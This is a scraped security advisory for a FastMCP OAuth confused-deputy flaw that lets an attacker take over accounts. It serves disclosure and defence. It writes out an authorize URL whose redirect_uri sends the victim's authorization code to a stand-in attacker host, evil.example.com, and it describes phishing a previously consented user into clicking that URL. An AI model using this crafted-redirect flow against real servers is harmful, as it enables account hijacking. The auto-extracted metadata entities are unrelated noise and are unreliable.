--- schema_version: '1.0' id: security-20260705-bb8634 url: https://osv.dev/vulnerability/GHSA-c2jp-c369-7pvx url_hash: bb86345eb4e7538e557ff8b2f7bf914b075dbf84288b2f6e783732ebdd3de602 canonical_url: https://osv.dev/vulnerability/GHSA-c2jp-c369-7pvx source: osv:ghsa category: security/library category_raw: cve/library region: null tags: - cve - GHSA-c2jp-c369-7pvx - severity:CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - fastmcp - PyPI lang: en published_at: '2025-10-29T15:38:07Z' fetched_at: '2026-07-05T15:34:34Z' updated_at: '2026-07-11T06:37:44Z' status: published content_hash: 544d21c43bc1e932a58a500dcf2b09667b9852660561668392e352ffe2d81cea license_note: full summary: FastMCP Auth Integration Allows for Confused Deputy Account Takeover summary_source: rss summary_en: FastMCP Auth Integration Allows for Confused Deputy Account Takeover entities: - name: AUTHENTIC BRANDS GROUP type: organization - name: Green Tech Integration type: method - name: Tokyo Yakult Swallows type: organization - name: Forbes JAPAN type: organization related_auto: - name: URL type: content weight: 2.0 - name: agent_n8n_1_bot type: organization weight: 1.0 - name: BING type: organization weight: 1.0 - name: コンテンツ type: UNKNOWN weight: 1.0 title: 'GHSA-c2jp-c369-7pvx: FastMCP Auth Integration Allows for Confused Deputy Account Takeover' --- # GHSA-c2jp-c369-7pvx: FastMCP Auth Integration Allows for Confused Deputy Account Takeover ## TL;DR FastMCP Auth Integration Allows for Confused Deputy Account Takeover ## Key Points - cve / GHSA-c2jp-c369-7pvx / severity:CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N / fastmcp / PyPI ## Details **Severity:** CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N **Advisory:** GHSA-c2jp-c369-7pvx **Affected (your watchlist):** - `PyPI:fastmcp` 2.11.3 → fixed in 2.13.0 [docker/docker-portal+portal] **Details:** ### Summary FastMCP documentation [covers the scenario](https://gofastmcp.com/integrations/azure) where it is possible to use Entra ID or other providers for authentication. In this context, because Entra ID does not support Dynamic Client Registration (DCR), the FastMCP-hosted MCP server is acting as the authorization provider, as declared in the Protected Resource Metadata (PRM) document hosted on the server. For example, on a local MCP server, it may be hosted here: ```http http://localhost:8000/.well-known/oauth-protected-resource ``` And the JSON representation of the PRM document: ```json { "resource": "http://localhost:8000/mcp", "authorization_servers": [ "http://localhost:8000/" ], "scopes_supported": [ "User.Read", "email", "openid", "profile" ], "bearer_methods_supported": [ "header" ] } ``` Notice that the `authorization_servers` field contains the MCP server itself - it acts as an **OAuth Client** to the downstream authorization server (e.g., Entra ID) and as a **Authorization Server** (AS) to the MCP client. The FastMCP server also hosts the AS metadata: ```bash http://localhost:8000/.well-known/oauth-authorization-server ``` With the following content: ```json { "issuer": "http://localhost:8000/", "authorization_endpoint": "http://localhost:8000/authorize", "token_endpoint": "http://localhost:8000/token", "registration_endpoint": "http://localhost:8000/register", "scopes_supported": [ "User.Read", "email", "openid", "profile" ], "response_types_supported": [ "code" ], "grant_types_supported": [ "authorization_code", "refresh_token" ], "token_endpoint_auth_methods_supported": [ "client_secret_post" ], "code_challenge_methods_supported": [ "S256" ] } ``` All of this confirms that the FastMCP server is, in fact, handling the client-to-server authorization and then delegating the downstream effects (i.e., authorization with Entra ID) to its own redirect logic, with a call like this (as seen through MCP Inspector): ```http http://localhost:8000/authorize?response_type=code&client_id=fdec0bb8-3423-40d0-aa2a-73de26bf6f93&code_challenge=2a9ZxAEr5NEsKPwFWuEFA1W-kFMXc-02u6qc8aLf_g4&code_challenge_method=S256&redirect_uri=http%3A%2F%2Flocalhost%3A6274%2Foauth%2Fcallback%2Fdebug&state=9f23fd47e2b8786b502f116bdbfd6ae3d7d2801167e24fea82f608bb52312bbd&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp ``` When using the built-in FastMCP `/authorize` endpoint, and in the example above, FastMCP server configured with Entra ID, it will then redirect the user here: ```http https://login.microsoftonline.com/412e93fe-74e5-4ee6-9b67-1eeb1c79550e/oauth2/v2.0/authorize?response_type=code&client_id=7bac43f2-ca62-4148-93a5-fd5686cb16c0&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fauth%2Fcallback&state=Tcv7bbg_v0Qi69RHbCzqR4tQHSHKPQuDDxjuo0wu5qU&scope=User.Read+email+openid+profile&code_challenge=bxICFAJDViuTTHIPUPdSXGLKbNbgPwiB-0ITXUJkjYM&code_challenge_method=S256&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp ``` >[!NOTE] >In the scenario above, the app registration in Entra ID is set up in the FastMCP server, as outlined in the PoC below. image Notice that the client ID and redirect URIs in the `login.microsoftonline.com` call are different than the initial `/authorize` call - that's because we're now switching to using the MCP server's **static app registration** instead of the DCR client details. Completing the authorization flow here for the first time for a user would trigger the Entra ID consent flow: image This consent flow is **only showed the first time the user needs to use this application**. Once the consent is set, they will never be prompted for this unless revoked. This is where the vulnerability comes in. After the user consented and is authorized, Entra ID will set a browser cookie capturing the authorization state. This helps prevent nagging re-authorization prompts. With the user consented to the **static client for Entra ID** that the FastMCP server exposes, they will now not be prompted the next time they need to use the same application ID. Now, an attacker comes in - in **their own MCP client** (i.e., they maintain one at `https://evil.example.com`) they start the authorization with the same remote MCP server and get to the point where the server produces **their own** authorization URI for this client ID: ```http http://localhost:8000/authorize?response_type=code&client_id=9a5d63d0-3aa3-465c-b097-0e2e196392dd&code_challenge=2F4Lbfppwd7xuynLT1y4Cy2Dac-S6HOO2B84itAwppw&code_challenge_method=S256&redirect_uri=https%3A%2F%2Fevil.example.com%3A6274%2Foauth%2Fcallback%2Fdebug&state=221fab2ccdc1481511639c110ee7382445930e22be25396b01f32d973d7176dc&scope=User.Read+email+openid+profile&resource=http%3A%2F%2Flocalhost%3A8000%2Fmcp ``` >[!IMPORTANT] >Note that the redirect URI above points to the `https://evil.example.com` client. At this point - they grab the URL and **coerce the victim** (user that already authenticated with Entra ID on their machine) to click on this link. This could be done through spam, spear-phishing, or any other traditional link sharing approaches. The moment the victim clicks on this link, they will be taken to the browser, where there is already a cookie set by Entra ID for the **static Entra ID client that the MCP server is using**. The DCR-d **registered client ID** that the FastMCP server is handling now got linked to the internal FastMCP authorization server, and the authorization code is returned to `https://evil.example.com`. The user will be automatically speed-ran through the authorization flow (no prompts) and they will effectively give access to the MCP server to the attacker with their account. Attacker can now exchange the authorization code for a token and access the remote MCP server as the victim. ### Details See above - the outline covers the attack vector. ### PoC Standard documented sample that uses Entra ID: ```python from fastmcp import FastMCP from fastmcp.server.auth.providers.azure import AzureProvider # The AzureProvider handles Azure's token format and validation auth_provider = AzureProvider( client_id="f527ed01-9725-45bd-8173-8d3a017ba02f", # Your Azure App Client ID client_secret="#####~######_#######", # Your Azure App Client Secret tenant_id="412e93fe-74e5-4ee6-9b67-1eeb1c79550e", # Your Azure Tenant ID (REQUIRED) base_url="http://localhost:8000", # Must match your App registration required_scopes=["User.Read", "email", "openid", "profile"], # Microsoft Graph permissions # redirect_path="/auth/callback" # Default value, customize if needed ) mcp = FastMCP(name="Azure Secured App", auth=auth_provider) # Add a protected tool to test authentication @mcp.tool async def get_user_info() -> dict: """Returns information about the authenticated Azure user.""" from fastmcp.server.dependencies import get_access_token token = get_access_token() # The AzureProvider stores user data in token claims return { "azure_id": token.claims.get("sub"), "email": token.claims.get("email"), "name": token.claims.get("name"), "job_title": token.claims.get("job_title"), "office_location": token.claims.get("office_location") } ``` ### Impact Potential for server account compromise. **References:** - https://github.com/jlowin/fastmcp/security/advisories/GHSA-c2jp-c369-7pvx - https://github.com/jlowin/fastmcp _Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-c2jp-c369-7pvx_ ## Source 元記事: [GHSA-c2jp-c369-7pvx: FastMCP Auth Integration Allows for Confused Deputy Account Takeover](https://osv.dev/vulnerability/GHSA-c2jp-c369-7pvx) — published 2025-10-29T15:38:07Z